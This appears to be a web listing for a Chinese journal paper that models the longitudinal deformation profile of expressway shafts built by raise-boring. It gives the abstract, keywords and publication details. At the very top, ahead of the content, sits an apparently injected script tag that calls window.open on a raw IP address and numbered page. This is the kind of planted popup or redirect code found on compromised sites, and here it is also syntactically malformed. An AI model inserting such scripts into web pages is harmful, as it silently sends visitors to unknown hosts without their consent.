<script type="text/javascript"> window.open(http://115.239.238.45:8080/kycg/7595175.html); </script> 反井施工下豎井縱向變形曲線的研究

論文題目：	反井施工下豎井縱向變形曲線的研究
論文類別：	中國科技核心
單位及作者：	紹興市交通建設有限公司侯義輝
論文摘要：	縱向變形(LDP)曲線是收斂約束法的重要組成部分,目前對LDP 曲線研究主要集中于隧道開挖過程中各因素對LDP 曲線的影響,較少探討豎井開挖過程中圍巖LDP 曲線,因此,本文以杭紹臺高速公路某隧道反井法施工豎井工程,采用有限元軟件建立三維豎井開挖模型,考慮開挖面深度變化及圍巖級別等因素,提出量化豎井正向擴挖過程的LDP 曲線的函數表達式,并與隧道傳統LDP 曲線進行了對比分析。結果表明:豎井正向擴挖過程中,開挖面空間效應范圍約為6 倍開挖半徑;開挖面深度及圍巖亞類分級對LDP 曲線影響較小,基本分級下,圍巖越好,豎井開挖面下方曲線越陡峭,開挖面處位移突變越明顯,開挖面上方曲線較平緩;豎井LDP 曲線與隧道相比存在顯著差異,表明開展反井施工下豎井LDP 曲線的研究具有重要意義。LDP 曲線的獲得能為確定支護架設前井壁徑向位移提供指導,并為本工程準確運用收斂約束法進行豎井支護設計及穩定性分析提供理論基礎。
關鍵詞：	公路隧道;縱向變形曲線;數值計算;豎井;正向擴挖
正文：	反井施工下豎井縱向變形曲線的研究.pdf
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發表刊物 (CN或ISSN號)：	《石河子大學學報(自然科學版)》（CN：65-1174/N，ISSN：1007-7383），2021年2月4日網絡首發